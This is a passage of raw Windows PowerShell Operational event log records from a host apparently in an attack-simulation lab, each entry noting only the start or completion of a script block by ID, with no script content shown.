09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042269
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042267
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042266
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042249
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042243
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
